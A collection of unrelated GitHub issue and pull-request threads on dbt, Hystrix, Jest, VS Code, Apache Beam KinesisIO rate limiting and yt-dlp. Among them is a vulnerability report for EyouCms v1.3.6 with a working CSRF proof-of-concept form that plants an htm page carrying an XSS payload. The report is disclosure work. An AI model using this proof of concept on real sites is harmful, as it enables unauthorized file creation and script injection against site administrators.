Set unique temp table suffix to allow parallel merge execution

Resolves #

Description
Set unique table suffix to allow parallel incremental execution
Our daily ETL need to execute parallel multiple dbt run of specific incremental model(incremental_strategy=merge), in which we pass the date and country as var argument.
If we want to process by batch of N countries and dates in parallel using Airflow concurrency, we need the temp views created by each of the dbt run to be unique. Else, you are going to end up with N insert attempting to run with the same __dbt_tmp name, creating conflict and ultimately creating failure.

Checklist

[x] I have run this code in development and it appears to resolve the stated issue
[x] This PR includes tests, or tests are not required/relevant for this PR
[x] I have updated the CHANGELOG.md and added information about my change to the "dbt-databricks next" section.

Running tests


[Potential Optimization] Multiple "0 comparisons" with guarenteed positive numbers can be added.

For example, if the compiler knows for a fact that a given set of numbers can only ever be positive or 0, and multiple bounds checks are being performed, the following is possible:
/**
 * @param {Array} a
 * @param {Array} b
 */
function test(a, b) {
	return a.length === 0 && b.length === 0;
}

->
function test(a, b) {
	return a.length + b.length === 0;
}

My first impression is that this sounds pretty niche and not likely to be a clear win.


can hystrix do not stop command when request timeout?

this will be safe for a distributed transaction scenes

I suggest you then disable execution timeout by using withExecutionTimeoutEnabled(false) or set a higher timeout

I am using thread isolation, just want timeout times to be count for circuit breaker because of distributed transaction scenes. "withExecutionIsolationThreadInterruptOnTimeout(false)" doesn't work, thread is still interrupted by hystrix. how to deal with?


While attached to a debugger jest swallows console.log

Hey guys
While running attached to a debugger jest should log console.log to that debugger instead of terminal.
Right now if I run jest via node --inspect ./node_modules/.bin/jest --watch --runInBand, I can open devtools in chrome://inspect, however there are no logs.
In my case it's very annoying since I would like to inspect objects, and terminal isn't good for that. Seems there's a lot of demand for it as well.
https://twitter.com/HariParsai/status/1106266622694703110
https://twitter.com/matthewcp/status/1105536775559237632

Related (as in also a debugging console improvement): https://github.com/facebook/jest/issues/8208


getWordRangeAtPosition doesn't quite use the regex as expected

I'm trying to use getWordRangeAtPosition to determine if the cursor is located within an inline block comment. It works fine unless the comment contains spaces.
From looking at extHostDocumentData.ts it looks like it selects a word first and then applies the regex to the word. The documentation suggests that the regex can be used to describe what a word is, but if I use /*.+*/ to match anything in between the block comments it fails.

@jrieken This might be cause by this check:
function getWordAtPosFast(column: number, wordDefinition: RegExp, text: string, textOffset: number): IWordAtPosition {
	// find whitespace enclosed text around column and match from there

	if (wordDefinition.test(' ')) {
		return getWordAtPosSlow(column, wordDefinition, text, textOffset);
	}
        ...

@alexandrudima Not sure what you mean. I have added getWordAtPosFast but it can only find a result when the word regex doesn't match on whitespace. If it does, the old way (getWordAtPosSlow) is invoked.

/\/\*.+\*\//.test(' ') is false. The code flows through to:
        let pos = column - 1 - textOffset;
	let start = text.lastIndexOf(' ', pos - 1) + 1;
	let end = text.indexOf(' ', pos);
	if (end === -1) {
		end = text.length;
	}

which, as the OP mentions, first finds a word in between whitespace and only then checks the regex.
@Gruntfuggly IMHO this is a bit of a abusive usage of getWordRangeAtPosition that trips into a nice optimization we have for the 99% case where folks are actually looking for words :). Why not use doc.lineAt(i).text.match(/\/\*.+\*\//) and go through doc.getWordRangeAtPosition ?

@alexandrudima Yes, I thought it probably was - it just looked so convenient. 8-)

Ok, sorry slow brain... The check for whitespace is weak indeed. Maybe I can implement something by looking at the actual regex...

I have changed the heuristics to check if a regex matches a word with whitespaces. Should be better but not perfect. Also I have updated the jsdoc for the function in question to clarify what it is designed for and when it won't work


[BEAM-8382] Add rate limit policy to KinesisIO.Read

This PR adds an optional rate limit policy to KinesisIO.Read that can be configured with the following methods:
withFixedDelayRateLimitPolicy()
Specifies a fixed delay rate limit policy with the default delay of 1 second.
withFixedDelayRateLimitPolicy(Duration delay)
Specifies a fixed delay rate limit policy with the given delay.
withDynamicDelayRateLimitPolicy(Supplier<Duration> delay)
Specifies a dynamic delay rate limit policy with the given function being called at each polling interval to get the next delay value.
withCustomRateLimitPolicy(RateLimitPolicyFactory rateLimitPolicyFactory)
Specifies the RateLimitPolicyFactory for a custom rate limiter.
This provides a strategy interface for dealing with the Kinesis hard limit of 5 read requests per second per shard. The FixedDelayRateLimiter will apply a fixed delay between read calls. The default is a "no limiter" policy which preserves the behavior of the current implementation.
R: @aromanenko-dev

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[x] Choose reviewer(s) and mention them in a comment (R: @username).
[x] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue, if applicable. This will automatically link the pull request to the issue.
[x] If this contribution is large, please file an Apache Individual Contributor License Agreement.

Oups my github page hadn't updated and I had not seen Alexey was already on this. I -1 myself from the review then. Thanks for the contribution @jfarr

Thank you for contribution. Beam tends to minimize number of tuning knobs. So, I'm wondering if it's possible to detect such throttling behaviour and increase timeout automatically in the runtime?

Hi @aromanenko-dev, thanks for the feedback. That makes sense and I think that it would be possible but I'm concerned that it would overly complicate the implementation and the runtime behavior. Also, an algorithm that could perform well would likely only add more knobs and if those aren't exposed then they just aren't tunable. Personally I would prefer the simplicity and predictability of a simple rate limit. If preserving the default behavior unchanged isn't a concern what do you think about just setting a reasonable default (1 second is the AWS recommendation) but leaving that knob in for the rare case that users need to tune it? I doubt that the vast majority would ever need to touch it.

@jfarr I guess it would not complicate things too much. My idea is the following - when we fetch new records in ShardReadersPool.readLoop() with shardRecordsIterator.readNextBatch() then it will finally end up in calling SimplifiedKinesisClient.getRecords() where we execute AmazonKinesis.getRecords() and wrap exceptions, if any. So, it looks like that we can re-throw KMSThrottlingException and catch it in ShardReadersPool.readLoop(). In case of this exception we can write warning in logs about that, wait with progressive timeout and recall shardRecordsIterator.readNextBatch() again. In this case no additional knobs well be needed.
Wdyt?

@aromanenko-dev If we're the only consumer on the stream we can call getRecords every 200ms without getting throttled (in theory). If we introduce a 1 sec delay on the first KMSThrottlingException then we have an unnecessary 800ms of latency. Let's say we reduce the initial delay to 100ms. Assuming a successful call takes about 10ms, we'll hit an exception after 50ms and for the next 950ms thereafter. On the 4th retry we'll succeed but we'll be at 800ms. Reduce it to 10ms and on the 7th retry we'll succeed but we'll be at 640ms. In any case we've introduced another knob (initial backoff delay time).
So that's assuming delay time starts at zero and only increases when we get a KMSThrottlingException. Since that's 100% guaranteed to happen we could try with a non-zero initial delay instead. Maybe if we start at 200ms we won't get throttled at all and we won't overshoot. Another knob.
OK so now we've overshot. Maybe we can ease back on the delay. We can speculatively try a shorter delay time and see if we still get throttled. How often to try? How much to ease back? More knobs.
You can fiddle with these knobs and come up with something that works well when you're the only consumer, but as soon as you have 2 or more consumers you have to throw that out the window. If you're pulling back more or less records that may take more or less time and throw off your timing. You can't really hardcode anything because what works well in one scenario may not work well in another.
So those are my initial thoughts. I'm totally open to the idea that I'm just overthinking it. I think the ultimate test would be to try it out and see what works. But if you want to minimize latency (and we do) I think the 1 second rolling window introduces a feedback delay that makes this a little more complicated than first glance. What do you think?

@jfarr I agree that there is no perfect solution for that. In the same time, I don't see too much difference between hardcoded value and configured one taking into account that Kinesis is unbounded source and user pipeline has to run for a long time without interruption. So, what's happened if we set initial polling interval too small or too big? Would we need to stop a pipeline, set new value and restart it again?
Unfortunately, there is no guarantee that this value will be efficient and work fine all the way since, as you said above, other client can start consume from the same shard in parallel. So, in this case it would better to provide adaptive solution. Even if we should expose some knobs to user, so what's about using FluentBackoff [1] instead? It can be configured with retry configuration object, like we do in SolrIO and some other IOs with RetryConfiguration.
Other option could be to allow to provide UDF object which will manage polling delay dynamically.
Wdyt?
[1] https://github.com/apache/beam/blob/master/sdks/java/core/src/main/java/org/apache/beam/sdk/util/FluentBackoff.java

@aromanenko-dev To me FluentBackoff seems like the wrong way to deal with rate limiting. I would rather account for the rate limit up front than try to react to it as if it were an error. I think the end result is going to be once every second you'll get a few successful getRecords calls off then spend the rest of that second being throttled. Possibly longer because as the AWS documentation states, "Too many of these exceptions can result in exponential back-offs and thereby cause significant unexpected latencies in processing." They also state that they recommend a 1 second polling interval because, "processing larger batches of data tends to be more efficient at reducing network and other downstream latencies in your application," so polling as fast as possible then getting throttled will not be as efficient according to AWS.
You have a good point about changing the polling interval while the pipeline is running. A UDF sounds like it could be a good solution for that. We do not have that use case though. We know ahead of time how many consumers our stream will have and what their polling intervals will be. That would not change unless our architecture changes.
If it's reasonable to allow configuring a backoff strategy why would it not be reasonable to allow configuring a polling interval? I thought your goal was to not introduce any new knobs. If that's the case honestly I would rather have a hard-coded 1 second polling interval.

@jfarr Regarding backoff strategy  - I think it's a good way in case if your backend doesn't provide any statistics in advance at which rate you have to perform next queries. We know only maximum limits and the result of last kinesis.getRecords() execution. So, starting with recommended default value and use proper backoff strategy in case of failures it could be optimal solution when you need to limit rate of requests.  Otherwise, there are big chances that backend resources won't be utilised efficiently. FluentBackoff is used in many Beam IOs for similar reasons.
I'd like to ask you questions about your use case. Let's suppose we can have ability set static polling interval with withPollingInterval(Duration) (as implemented in current PR). What would be default value in your case? 1 sec? What would you do in case if it won't be enough for already running pipeline? Would your need to change this value and restart pipeline manually?
Btw, default delay of 1 sec looks quite pessimistic since according to AWS doc each shard can support up to five read transactions per second. So, in case of one consumer per shard (I can guess this is a quite common case) it should be 200 ms as default value.
PS: The goal of minimizing the number of tuning knobs is to reduce the number of possible config combinations (which grows exponentially) in case if it's possible to configure this automatically [1]. If it's not possible then the better solution will be to provide flexible API, especially for unbounded sources (as Kinesis, Kafka, etc), that are being used in long-running pipelines.
[1] https://beam.apache.org/contribute/ptransform-style-guide/#configuration

@aromanenko-dev thanks for the link, that's really helpful. For our use case we'll probably poll once per second. That's what the SDK docs recommend, Kinesis Firehose polls on a fixed 1 second interval, Lambda triggers poll on a fixed 1 second interval, the KCL has a configurable polling interval but it defaults to 1 second, etc., so that seems pretty standard across the board. We currently have 2 Firehoses on this stream polling once per second so in theory we could go as low as 350ms or so but as you say with a static configuration we would have to stop the running pipeline if we needed to change this later. This would allow us to add one maybe two consumers before we needed to deal with that. I know that my colleague @cmachgodaddy and possibly others are working on a v2 KinesisIO that uses subscribeToShard instead of polling getRecords so hopefully we can switch to using that instead before then.
To give you some more context, we are trying to read records from Kinesis, extract a few fields, then send the record to SNS with those fields as message attributes. So far we can't even get read from Kinesis -> write to SNS to work at our scale which isn't particularly large, only thousands of records per second. We are seeing latencies grow to 15-20 mins or more under peak load. To be honest at this point I can't say for sure whether it's KinesisIO or SnsIO or some combination, but I can say that adding the polling interval solved our ReadProvisionedThroughputExceeded problem but hasn't completely solved the latency problem. What I would like to do next week is build a test pipeline that just reads from Kinesis, calculates the latency at the moment we receive the record, then pushes that metric to CloudWatch. Then I'd like to test the current implementation vs adding FluentBackoff vs adding a polling interval (my PR) vs adding both. That will allow us to isolate KinesisIO and get some hard data that we can compare. I'll let you know what I find ASAP. How does that sound?

@aromanenko-dev , Alex correct me if I am wrong. I am trying to understand the existing KinesisIO to migrate it, and I found in each split it will generate a bunch of threads, and each thread will pull records from a shard (so 1:1 , 1 thread one shard). But, the point is if we have 10 splits (or parallelisms), then there will be 10 x # threads reading a shard. In other words, there will be 10 clients reading one shard concurrently. That's why we are experiencing this throttling. I am wondering why couldn't it be designed in a way that each split read one shard (1:1) ?

@jfarr Sounds great for me! Thank you for your contribution on this! Actually, I think it's very interesting and important topic for KinesisIO and we have a field for improvement there.

@cmachgodaddy Hmm, what do you mean by "split"? One split is one shard, and as you properly said before, only one thread from thread pool will consume messages from this shard. Did I miss something?

@aromanenko-dev , a bit technical, in KinesisSource, we have spit method, this method generate a number of sources or readers (or KinesisReader) ? This split method is now based on either the desiredNumSplits (which is configured by user as a parallelism parameter) or partitions (number of shards) to generate num of readers. However, in each reader (KinesisReader), we again generate another number of threads and each read one shard. So this looks to me a parallelism inside a parallelism (or nested parallelism). Here is in the KinesisReader, which call ShareReadersPool::start(), and which uses ExecutorService to execute 'readLoop' in parallel (in diff thread) https://github.com/apache/beam/blob/master/sdks/java/io/kinesis/src/main/java/org/apache/beam/sdk/io/kinesis/ShardReadersPool.java#L124. Let me know if I am missing something?

@cmachgodaddy My understanding is the following. KinesisSource.split() method is called on driver, before running a pipeline. So, it will create a list of KinesisSources for every split/partition (based on initialCheckpointGenerator) that will be distributed on workers and run there. Then every KinesisSource will create KinesisReader with own CheckpointGenerator (on worker) and instantiate ShardReadersPool which will create thread for every shard iterator (since every reader can read from more than one shard). So, I don't see nested parallelism here. Though, it would be great to test it in case if we have a bug there since this logic is quite complicated.

@alexvanboxel , I think we all understand it right, from what you described above we just say it in different ways ;-) . In simple words, each split, run on each worker, will create a number of threads base off num of shards. That's means if we have 10 splits, we will have 10 guys/reader read one shard (of course, it will read all shards)? Hope you agree with me this point? Now, what Amazon recommend is we should have one client read one shard. Here is what they say:

Typically, when you use the KCL, you should ensure that the number of instances does not exceed the number of shards (except for failure standby purposes). Each shard is processed by exactly one KCL worker and has exactly one corresponding record processor, so you never need multiple instances to process one shard. However, one worker can process any number of shards, so it's fine if the number of shards exceeds the number of instances.
And, here is why they do that, https://docs.aws.amazon.com/streams/latest/dev/kinesis-low-latency.html

But, don't argue that, here they use KCL, so pls consider one KCL is one KinesisClient that our split use to connect to Kinesis and read a shard. And don't misunderstand the one worker can read a number of shard. Here in their context, or the example in their doc, their worker is an application that run on EC2 instance, and when that scale this application, it will loadbalance the KCL, e.g. two EC2 will have two KCL, each read two shards (assume a stream has 4 shards).
The point is we don't want to have number readers greater number of shards in one application (or one pipeline in our context)? Imagine, if we have 10 pipelines deployed in our runners, and which has parallelism of 10, then we will have 10 x 10 readers reading one shard ? And this 10 x 10 readers are not loadbalanced since we are not using KCL? (even with KCL, this number still exceed num of shard?).  I am sure we will get "throughput exception" in the log :-)

@alexvanboxel , I think we all understand it right, from what you described above we just say it in different ways ;-) . In simple words, each split, run on each worker, will create a number of threads

I think you're talking about another Alex, probably @aromanenko-dev :-)

@cmachgodaddy I’ll have to confirm but I’m pretty sure each ShardReadersPool doesn’t read every shard just the ones assigned to that worker. That’s pretty much what I’ve observed.

@jfarr , uhmmm , what happens when you set parallelism of 1? Do you see one worker just pull one shard (which assigned to it) ? and the rest of the shards just seating idle? does it mean we just read 1/3 of data stream, assuming you have 3 shards?

@jfarr , uhmmm , what happens when you set parallelism of 1? Do you see one worker just pull one shard (which assigned to it) ? and the rest of the shards just seating idle? does it mean we just read 1/3 of data stream, assuming you have 3 shards?

@cmachgodaddy I believe if you have one worker and three shards then that worker will be assigned all three shards. Also if you have one shard and three workers then you will have one worker reading the shard and two workers sitting idle. That I can confirm, I have seen it with my own eyes.

@cmachgodaddy I think @jfarr is right - in simple case all shards are discovered by DynamicCheckpointGenerator and put into the list of KinesisSources during split() executing on driver. Every KinesisSource may contain more than 1 shard (see KinesisReaderCheckpoint) in case if number of workers is less the total number of shards but it's not possible that 2 different sources had reference to the same shard. Then, all these split sources will be distributed over workers by your resource manager. So, every Source will be responsible for one or more different shards and it will spawn one thread per shard in ShardReadersPool.

Thanks @jfarr and @aromanenko-dev for sharing the info! That make sense!

@aromanenko-dev I'm still testing and gathering data but one of my colleagues had an idea I wanted to run by you. What if we add a polling rate policy object and have fixed and fluent versions with fluent as the default?

@jfarr Sounds good to me (it's similar to what I proposed by adding UDF object before).

@aromanenko-dev Great, I will start working on that too then. Thanks!

Hi @aromanenko-dev, I replaced the polling interval with a rate limit policy configured with the following methods:
withBackoffRateLimitPolicy(FluentBackoff fluentBackoff)
Specifies the rate limit policy as BackoffRateLimiter.
withFixedDelayRateLimitPolicy()
Specifies the rate limit policy as FixedDelayRateLimiter with the default delay of 1 second.
withFixedDelayRateLimitPolicy(Duration delay)
Specifies the rate limit policy as FixedDelayRateLimiter with the given delay.
withCustomRateLimitPolicy(RateLimitPolicyFactory rateLimitPolicyFactory)
Specifies the RateLimitPolicyFactory for a custom rate limiter.
The default is a no limiter policy that preserves the behavior of the current implementation.
wdyt?

@cmachgodaddy
1)Good point, but we use AmazonKinesis as a client for Kinesis. Can we leverage RetryPolicy in this case?
2) I believe the last one should win but it would make sense to add more checks to avoid an ambiguity.

@cmachgodaddy

Good point, but we use AmazonKinesis as a client for Kinesis. Can we leverage RetryPolicy in this case?
I believe the last one should win but it would make sense to add more checks to avoid an ambiguity.

--> #1 Yes, every AWS client (Dynamo, Sns, Sqs, Kinesis, ...) can take in ClientConfiguration as a argument. And we can set any configurations with this object.
--> #2 Of course, we can add a ton of checkers, but users will be confuse of which one of withRateLimitXXXs to use. I would rather have just one withRateLimitXXX and let user pass in an Enum.

Have we try to use Kinesis's RetryPolicy and BackoffStrategy? This look like we reengineer this feature, which already supported by Kinesis's API. Here is the example: https://www.programcreek.com/java-api-examples/?api=com.amazonaws.retry.RetryPolicy. If we already tried it, then what would be the reasons not to use the Kinesis's one ?

I'm not sure if RetryPolicy and BackoffStrategy apply to LimitExceededException / ProvisionedThroughputExceededException but I can look into that. If so I think it makes sense to just configure this in the Kinesis client instead of having a BackoffRateLimitPolicy. What do you think @aromanenko-dev and @lukecwik ?

2. From user perspective, what if users set all 3 or 4 withRateLimitXXX ? which one will override what? or we apply all of them? Would it be helpful if we provide an enum?

If you call one of these methods again it will override the previous call.

@cmachgodaddy

#2 Of course, we can add a ton of checkers, but users will be confuse of which one of withRateLimitXXXs to use. I would rather have just one withRateLimitXXX and let user pass in an Enum.
We already have the similar API for watermarks factory in KinesisIO, so I think it will make sense to keep the same style here. And I don't think users will be very confused if we have clear Java doc for each method and examples of usage in the class Java doc. New checks are actually not needed, they could just prevent users from potential mistakes.

@jfarr I'm ok with that if it won't fail a pipeline in case of throttling and work in the similar way as FluentBackoff.

Btw, I merged another KinesisIO PR, so this one needs to be rebased.

I'd like to come back to idea of using RetryPolicy and BackoffStrategy classes from AWS SDK proposed by @cmachgodaddy above. We recently had a similar issue with failing a pipeline because of TransientKinesisException  caused by reading 2 pipelines from the same shard. It was solved by creating a new AWSClientsProvider, based on current BasicKinesisProvider, used by default, and just overriding a method getKinesisClient() where we configured our custom RetryPolicy and BackoffStrategy.
The simplified example could look like this:
  @Override
  public AmazonKinesis getKinesisClient() {
    AmazonKinesisClientBuilder clientBuilder = AmazonKinesisClientBuilder.standard()
        .withCredentials(getCredentialsProvider());
    clientBuilder.withRegion(region);

    RetryPolicy.BackoffStrategy backoffStrategy =
        new PredefinedBackoffStrategies.ExponentialBackoffStrategy(baseDelay, maxBackoffTime);
    RetryPolicy retryPolicy = new RetryPolicy(DEFAULT_RETRY_CONDITION, backoffStrategy,
        DEFAULT_MAX_ERROR_RETRY, true);

    ClientConfiguration clientConfiguration = new ClientConfiguration();
    clientBuilder.withClientConfiguration(clientConfiguration.withRetryPolicy(retryPolicy));

    return clientBuilder.build();
  }

So, instead of adding new API, which will do similar things that already implemented in AWS SDK, I think it would be enough to just update KinesisIO javadoc and add an example showing how to configure and leverage custom AWSClientsProvider in such case.
WDYT?
PS: @jfarr I'm sorry to ask you initially to add this functionality in KinesisIO using Beam SDK, I was not aware about such configuration option in AmazonKinesisClient.

Sure @aromanenko-dev, let me try that out when I get some time and I can document it in the javadoc as you suggest and also remove the BackoffRateLimiter. This should also apply to the other AWS IOs like SNS and DynamoDB, would it make sense to remove the FluentBackoff-based implementation there too in v2 for consistency?

All of our AWS APIs should have this. But out API just need to call getKinesisClient(), which means we delegate it to users, and it's up to them to how build the client.

Yes, I think we should be consistent in terms of user API. So, since most (all?) of our AWS-based IOs provide a way to build client object, which can be configured to use custom retry/backoff policy, we may, at least, want to document it properly.
In the same time, some of the AWS IOs (like DynamoDBIO, SnsIO) already provide a method withRetryConfiguration(RetryConfiguration) to define retry configuration. Under the hood, it actually uses Beam's BackOff and own implementation of retry cycle. So, I think we need to change it to use internal AWS client implementation (as we discussed before).
In the end, it would be great to have unified API for all AWS-based IOs, at least for SDK V2.

They are all in my TODOs @aromanenko-dev . When I finish the other PRs, I'll do it :-)

Hi @aromanenko-dev, I finally got around to testing this AWS SDK RetryPolicy-based approach but with very little success. First of all, the SDK client by default uses the following retry policy for all throttling exceptions:

backoff strategy = PredefinedBackoffStrategies.EqualJitterBackoffStrategy
base delay = 500ms
max backoff = 20s

Where EqualJitterBackoffStrategy is an exponential backoff with jitter. This strategy will ensure that the jitter will never be more than 1/2 the max delay for that retry attempt. So the initial delay will always be between 250-500ms.
I added some logging and I can see the retry policy behaving as expected. For example:
2020-02-09T21:48:00.413+00:00 com.godaddy..KinesisClientsProvider shouldRetry exception `com.amazonaws.services.kinesis.model.ProvisionedThroughputExceededException: Rate exceeded for shard shardId-000000000000 in stream beam-test ...`: true
2020-02-09T21:48:00.413+00:00 com.godaddy..KinesisClientsProvider delayBeforeNextRetry: 333 retriesAttempted: 0
2020-02-09T21:48:00.413+00:00 com.amazonaws.http.AmazonHttpClient Retriable error detected, will retry in 333ms, attempt number: 0

Indeed the initial backoff always seems to be within 250 to 500ms. The exponential backoff is pretty irrelevant, though, because the initial delay also seems sufficient that the first retry attempt always succeeds. I didn't see any instances of a second retry attempt in my testing.
However, the cumulative effect of all of these initial instances of ProvisionedThroughputExceededException is that approximately 30% of all getRecords() calls fail. You can see that in the attached charts where GetRecords.Success is 0.7 and ReadProvisionedThroughputExceeded is 0.3. I don't think it matters whether the retry policy is implemented in Beam or in the AWS SDK, I don't think it can be tuned to perform much better than this.

Here is the code I used just for reference:
    RetryCondition retryCondition = new RetryCondition() {
      RetryCondition defaultCondition = PredefinedRetryPolicies.DEFAULT_RETRY_CONDITION;
      @Override
      public boolean shouldRetry(AmazonWebServiceRequest originalRequest, AmazonClientException exception, int retriesAttempted) {
        boolean retry = defaultCondition.shouldRetry(originalRequest, exception, retriesAttempted);
        LOG.info("shouldRetry exception `{}`: {}", exception, retry);
        return retry;
      }
    };
    BackoffStrategy backoffStrategy = new BackoffStrategy() {
      BackoffStrategy defaultStrategy = PredefinedRetryPolicies.DEFAULT_BACKOFF_STRATEGY;
      @Override
      public long delayBeforeNextRetry(AmazonWebServiceRequest originalRequest, AmazonClientException exception, int retriesAttempted) {
        long delay = defaultStrategy.delayBeforeNextRetry(originalRequest, exception, retriesAttempted);
        LOG.info("delayBeforeNextRetry: {} retriesAttempted: {}", delay, retriesAttempted);
        return delay;
      }
    };
    RetryPolicy retryPolicy = new RetryPolicy(retryCondition, backoffStrategy,
        PredefinedRetryPolicies.DEFAULT_MAX_ERROR_RETRY, false);

    return AmazonKinesisClientBuilder.standard()
        .withClientConfiguration(PredefinedClientConfigurations.defaultConfig()
            .withRetryPolicy(retryPolicy))
        .build();

@jfarr Thank you very much for detailed testing and explanation. In the end, what do you think would be the best solution in this case?

Hi, @aromanenko-dev I have already removed the BackoffRateLimiter from this PR, and I would like to finish the unit tests and documentation for FixedDelayRateLimiter and narrow the scope of the PR back to that since it's a variant of what we're currently using in production. Is there any chance we can get that in? It would be good to know before I put in the remaining work. I think the custom rate limit policy is a nice to have so I can leave that in if you want in case anyone wants to implement their own adaptive rate limit policy in the future.

And actually, we could support the use case of changing the polling interval at runtime by having a version of FixedDelayRateLimiter that takes a function for the delay.

@jfarr just for info Alexey is OOO this week, so don't be surprised if the answer takes a bit of time.

No problem, @iemejia, thanks for the heads up.

@jfarr Thank you very much for update and keep working on this! I'll take a look on this today and get back to you after.

@jfarr It looks fine but, as you mentioned above, it misses some tests and documentation to be merged.

@jfarr Btw, did you do the similar tests using these changes with fixed delay as you did for PredefinedBackoffStrategies.EqualJitterBackoffStrategy above? Sorry, if I missed that.

Hi @aromanenko-dev, sure we have tested it. Here's what read throttles look like with a 1s fixed delay:

@aromanenko-dev if I wanted to make FixedDelayRateLimiter take a function as an argument, can I just declare it as Supplier<Integer> or should I declare it some other way due to Beam's serializability requirements?

Hi @aromanenko-dev as long as the Supplier<Duration> param is OK then I think this PR is ready. What do you think?

retest me please

retest this please

Run Java PreCommit

@aromanenko-dev Sure, happy to help!

Hmm, there is some flaky test in KinesisIO caused by org.apache.beam.sdk.io.kinesis.ShardReadersPoolTest.shouldCallRateLimitPolicy introduced in this PR. Could you take a look please on this issue?

Sure, I will take a look.

On Mar 9, 2020, at 9:29 AM, Alexey Romanenko<EMAIL_ADDRESS>wrote:

Hmm, there is some flaky test in KinesisIO caused by org.apache.beam.sdk.io.kinesis.ShardReadersPoolTest.shouldCallRateLimitPolicy introduced in this PR. Could you take a look please on this issue?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or unsubscribe.

https://github.com/apache/beam/pull/11090
On Mon, Mar 9, 2020 at 3:34 PM Jonothan Farr<EMAIL_ADDRESS>wrote:

Sure, I will take a look.
On Mar 9, 2020, at 9:29 AM, Alexey Romanenko<EMAIL_ADDRESS>wrote:

Hmm, there is some flaky test in KinesisIO caused by
org.apache.beam.sdk.io.kinesis.ShardReadersPoolTest.shouldCallRateLimitPolicy
introduced in this PR. Could you take a look please on this issue
https://issues.apache.org/jira/browse/BEAM-8382?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/apache/beam/pull/9765?email_source=notifications&email_token=AAL22D52IPZYGND33IRGISDRGUKM3A5CNFSM4I7T2Q72YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEOH6XHI#issuecomment-596634525,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAL22DZYJOTWI66J5UUW3D3RGUKM3ANCNFSM4I7T2Q7Q
.


CSRF vulnerability can add htm page to generate XSS

This CSRF vulnerability can add htm page and execute js code such as XSS.
This problem was found in EyouCms v1.3.6. This CSRF vulnerability can add an htm page via /login.php?m=admin&c=Filemanager&a=newfile&lang=cn.
After the administrator logs in, he visits the page constructed by the attacker and triggers exp. The htm page will be created in the specified path. The page contains the attacker's js code, which can cause XSS or other problems.
<html>
  <!-- CSRF PoC - Create /template/hack1.htm-->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/eyoucms/login.php?m=admin&c=Filemanager&a=newfile&lang=cn" method="POST">
      <input type="hidden" name="activepath" value="/template" />
      <input type="hidden" name="filename" value="hack1.htm" />
      <input type="hidden" name="content" value="<svg onload=alert("hack")>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Poc request packet

After the csrf vulnerability is triggered, the htm page is created and the reflective XSS is executed.

Recovered


HTTP 500 error only for a specific video

DO NOT REMOVE OR SKIP THE ISSUE TEMPLATE

[X] I understand that I will be blocked if I intentionally remove or skip any mandatory* field

Checklist

[X] I'm reporting a bug unrelated to a specific site
[X] I've verified that I'm running yt-dlp version 2023.07.06 (update instructions) or later (specify commit)
[X] I've checked that all provided URLs are playable in a browser with the same IP and same login details
[X] I've checked that all URLs and arguments with special characters are properly quoted or escaped
[X] I've searched known issues and the bugtracker for similar issues including closed ones. DO NOT post duplicates
[X] I've read the guidelines for opening an issue

Provide a description that is worded well enough to be understood
There is one YouTube video with ID MX4vxuwEfPo that cannot be downloaded with yt-dlp because some HTTP request fails with HTTP 500. The issue is always reproduceable for this single video, for several months.
After the download, there is a *.f247.webm.ytdl with the contents
{"downloader": {"current_fragment": {"index": 0}}}
as well as a *.f247.webm.part with 0 bytes content.
The file *.f251.webm seems to contain audio but no video.
Provide verbose output that clearly demonstrates the problem

[X] Run your yt-dlp command with -vU flag added (yt-dlp -vU <your command line>)
[X] If using API, add 'verbose': True to YoutubeDL params instead
[X] Copy the WHOLE output (starting with [debug] Command-line config) and insert it below

Complete Verbose Output
$ /daten/yt_downloader2/yt-dlp -o './%(title)s-%(id)s.%(ext)s' -i -c  --ffmpeg-location '/daten/yt_downloader2/ffmpeg' --cookies /home/pi/.yt_cookies 'https://www.youtube.com/watch?v=MX4vxuwEfPo' -vU
[debug] Command-line config: ['-o', './%(title)s-%(id)s.%(ext)s', '-i', '-c', '--ffmpeg-location', '/daten/yt_downloader2/ffmpeg', '--cookies', '/home/pi/.yt_cookies', 'https://www.youtube.com/watch?v=MX4vxuwEfPo', '-vU']
[debug] Encodings: locale UTF-8, fs utf-8, pref UTF-8, out UTF-8, error UTF-8, screen UTF-8
[debug] yt-dlp version<EMAIL_ADDRESS>[b532a3481] (zip)
[debug] Python 3.7.3 (CPython armv7l 32bit) - Linux-5.10.103-v7l+-armv7l-with-debian-10.13 (OpenSSL 1.1.1n  15 Mar 2022, glibc 2.28)
[debug] exe versions: ffmpeg 5.1.1-static (setts)
[debug] Optional libraries: Crypto-broken 2.6.1, certifi-2018.08.24, secretstorage-2.3.1, sqlite3-2.6.0
[debug] Proxy map: {}
[debug] Loaded 1855 extractors
[debug] Fetching release info: https://api.github.com/repos/yt-dlp/yt-dlp/releases/latest
Available version<EMAIL_ADDRESS>Current version<EMAIL_ADDRESS>Current Build Hash: cedf44a9cf3c241520a692c1006d276e6f434d4d945727c47cb1a70d32953f4a
yt-dlp is up to date<EMAIL_ADDRESS>[youtube] Extracting URL: https://www.youtube.com/watch?v=MX4vxuwEfPo
[youtube] MX4vxuwEfPo: Downloading webpage
[debug] [youtube] Extracted SAPISID cookie
[youtube] MX4vxuwEfPo: Downloading ios player API JSON
[youtube] MX4vxuwEfPo: Downloading android player API JSON
[youtube] MX4vxuwEfPo: Downloading m3u8 information
[youtube] MX4vxuwEfPo: Downloading MPD manifest
[debug] Sort order given by extractor: quality, res, fps, hdr:12, source, vcodec:vp9.2, channels, acodec, lang, proto
[debug] Formats sorted by: hasvid, ie_pref, quality, res, fps, hdr:12(7), source, vcodec:vp9.2(10), channels, acodec, lang, proto, size, br, asr, vext, aext, hasaud, id
[debug] Default format spec: bestvideo*+bestaudio/best
[info] MX4vxuwEfPo: Downloading 1 format(s): 247+251
